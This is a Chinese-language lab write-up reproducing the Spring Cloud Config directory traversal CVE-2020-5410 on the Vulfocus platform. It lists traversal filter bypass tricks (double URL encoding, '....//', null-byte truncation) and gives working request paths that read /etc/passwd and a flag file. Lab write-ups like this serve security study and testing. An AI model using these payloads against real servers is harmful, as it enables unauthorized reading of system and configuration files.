【漏洞复现-spring-目录遍历】vulfocus/spring-cve_2020_5410

目录

一、靶场环境

1.1、平台：

1.2、知识：

1.3、描述：

二、漏洞验证

2.1、分析：

---

一、靶场环境

1.1、平台：

Vulfocus 漏洞威胁分析平台

123.58.224.8:43117

123.58.224.8:20746

 

 

1.2、知识：

1、跳目录

../上一级

（有时候可能需要考虑绕过过滤）

单次过滤：....//

正则匹配斜杠：..%252f(双重URL编码，因为浏览器会解码一次)

起始路径匹配：起始路径+相对路径结合绕过

后缀检测：空字节绕过（%00截断）../etc/passwd%00.png

……

1.3、描述：

Spring Cloud Config，2.2.3之前的2.2.x版本，2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求，这可能导致目录遍历攻击。

---

---

二、漏洞验证

2.1、分析：

对/进行了2次URL编码

/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fpasswd%23foo/development

读取flag文件

/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%23foo/development